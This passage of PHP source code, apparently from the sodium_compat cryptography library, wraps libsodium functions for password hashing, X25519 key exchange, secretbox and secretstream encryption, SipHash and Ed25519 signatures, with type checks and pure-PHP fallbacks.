ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); // Just grab the first 4 pieces. $pieces = explode('$', (string) $hash); $prefix = implode('$', array_slice($pieces, 0, 4)); // Rebuild the expected header. /** @var int $ops */ $ops = (int) $opslimit; /** @var int $mem */ $mem = (int) $memlimit >> 10; $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1'; // Do they match? If so, we don't need to rehash, so return false. return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str_verify($passwd, $hash) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash); } if (self::use_fallback('crypto_pwhash_str_verify')) { return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256( (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256', (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_scryptsalsa208sha256_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str( (string) $passwd, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str', (string) $passwd, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( (string) $passwd, (string) $hash ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) { return (bool) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify', (string) $passwd, (string) $hash ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * Calculate the shared secret between your secret key and your * recipient's public key. * * Algorithm: X25519 (ECDH over Curve25519) * * @param string $secretKey * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_scalarmult($secretKey, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult($secretKey, $publicKey); } if (self::use_fallback('crypto_scalarmult')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey); } /* Output validation: Forbid all-zero keys */ if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) { throw new SodiumException('Zero public key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey); } /** * Calculate an X25519 public key from an X25519 secret key. * * @param string $secretKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function crypto_scalarmult_base($secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult_base($secretKey); } if (self::use_fallback('crypto_scalarmult_base')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey); } if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey); } return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey); } /** * Authenticated symmetric-key encryption. * * Algorithm: XSalsa20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_secretbox($plaintext, $nonce, $key); } if (self::use_fallback('crypto_secretbox')) { return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_secretbox_open($ciphertext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_secretbox_open($ciphertext, $nonce, $key); } if (self::use_fallback('crypto_secretbox_open')) { return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key); } /** * Return a secure random key for use with crypto_secretbox * * @return string * @throws Exception * @throws Error */ public static function crypto_secretbox_keygen() { return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES); } /** * Authenticated symmetric-key encryption. * * Algorithm: XChaCha20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } /** * @param string $key * @return array<int, string> Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_init_push($key) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key); } /** * @param string $header * @param string $key * @return string Returns a state. * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_init_pull($header, $key) { if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) { throw new SodiumException( 'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes' ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } /** * @param string $state * @param string $msg * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_pull(&$state, $msg, $aad = '') { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } /** * @return string * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_keygen() { return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES); } /** * @param string $state * @return void * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_rekey(&$state) { if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state); } else { ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state); } } /** * Calculates a SipHash-2-4 hash of a message for a given key. * * @param string $message Input message * @param string $key SipHash-2-4 key * @return string Hash * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_shorthash($message, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_shorthash($message, $key); } if (self::use_fallback('crypto_shorthash')) { return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key); } return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key); } /** * Return a secure random key for use with crypto_shorthash * * @return string * @throws Exception * @throws Error */ public static function crypto_shorthash_keygen() { return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES); } /** * Returns a signed message. You probably want crypto_sign_detached() * instead, which only returns the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed. * @param string $secretKey Secret signing key. * @return string Signed message (signature is prefixed). * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign($message, $secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign($message, $secretKey); } if (self::use_fallback('crypto_sign')) { return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign($message, $secretKey); } /** * Validates a signed message then returns the message. * * @param string $signedMessage A signed message * @param string $publicKey A public key * @return string The original message (if the signature is * valid for this public key) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign_open($signedMessage, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_sign_open($signedMessage, $publicKey); } if (self::use_fallback('crypto_sign_open')) { return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey); } return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey); } /** * Generate a new random Ed25519 keypair. * * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_sign_keypair() { if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair(); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::keypair(); } return ParagonIE_Sodium_Core_Ed25519::keypair(); } /** * @param string $sk * @param string $pk * @return string * @throws SodiumException */ public static function crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk) { ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); $sk = (string) $sk; $pk = (string) $pk; if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); } return $sk . $pk; } /** * Generate an Ed25519 keypair from a seed. * * @param string $seed Input seed * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_seed_keypair($seed) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return sodium_crypto_sign_seed_keypair($seed); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed); } $publicKey = ''; $secretKey = ''; if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } else { ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } return $secretKey . $publicKey; } /** * Extract an Ed25519 public key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey($keypair); } if (self::use_fallback('crypto_sign_publickey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair); } return ParagonIE_Sodium_Core_Ed25519::publickey($keypair); } /** * Calculate an Ed25519 public key from an Ed25519 secret key. * * @param string $secretKey Your Ed25519 secret key * @return string The corresponding Ed25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey_from_secretkey($secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_sign_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey); } /** * Extract an Ed25519 secret key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_secretkey($keypair) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_secretkey($keypair); } if (self::use_fallback('crypto_sign_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair); } return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair); } /** * Calculate the Ed25519 signature of a message and return ONLY the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed * @param string $secretKey Secret signing key * @return string Digital signature * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_detached($message, $secretKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_detached($message, $secretKey); } if (self::use_fallback('crypto_sign_detached')) { return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey); } /** * Verify the Ed25519 signature of a message. * * @param string $signature Digital sginature * @param string $message Message to be verified * @param string $publicKey Public key * @return bool TRUE if this signature is good for this public key; * FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_verify_detached($signature, $message, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_verify_detached($signature, $message, $publicKey); } if (self::use_fallback('crypto_sign_verify_detached')) { return (bool) call_user_func( '\\Sodium\\crypto_sign_verify_detached', $signature, $message, $publicKey ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey); } return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey); } /** * Convert an Ed25519 public key to a Curve25519 public key * * @param string $pk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_pk_to_curve25519($pk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) { return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk); } } if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk); } return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk); } /** * Convert an Ed25519 secret key to a Curve25519 secret key * * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_sk_to_curve25519($sk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) { return sodium_crypto_sign_ed25519_sk_to_curve25519($sk); } } if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk); } $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true); $h[0] = ParagonIE_Sodium_Core_Util::intToChr( ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248 ); $h[31] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64 ); return ParagonIE_Sodium_Core_Util::substr($h, 0, 32); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XSalsa20 key * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream($len, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream($len, $nonce, $key); } if (self::use_fallback('crypto_stream')) { return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XSalsa20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless 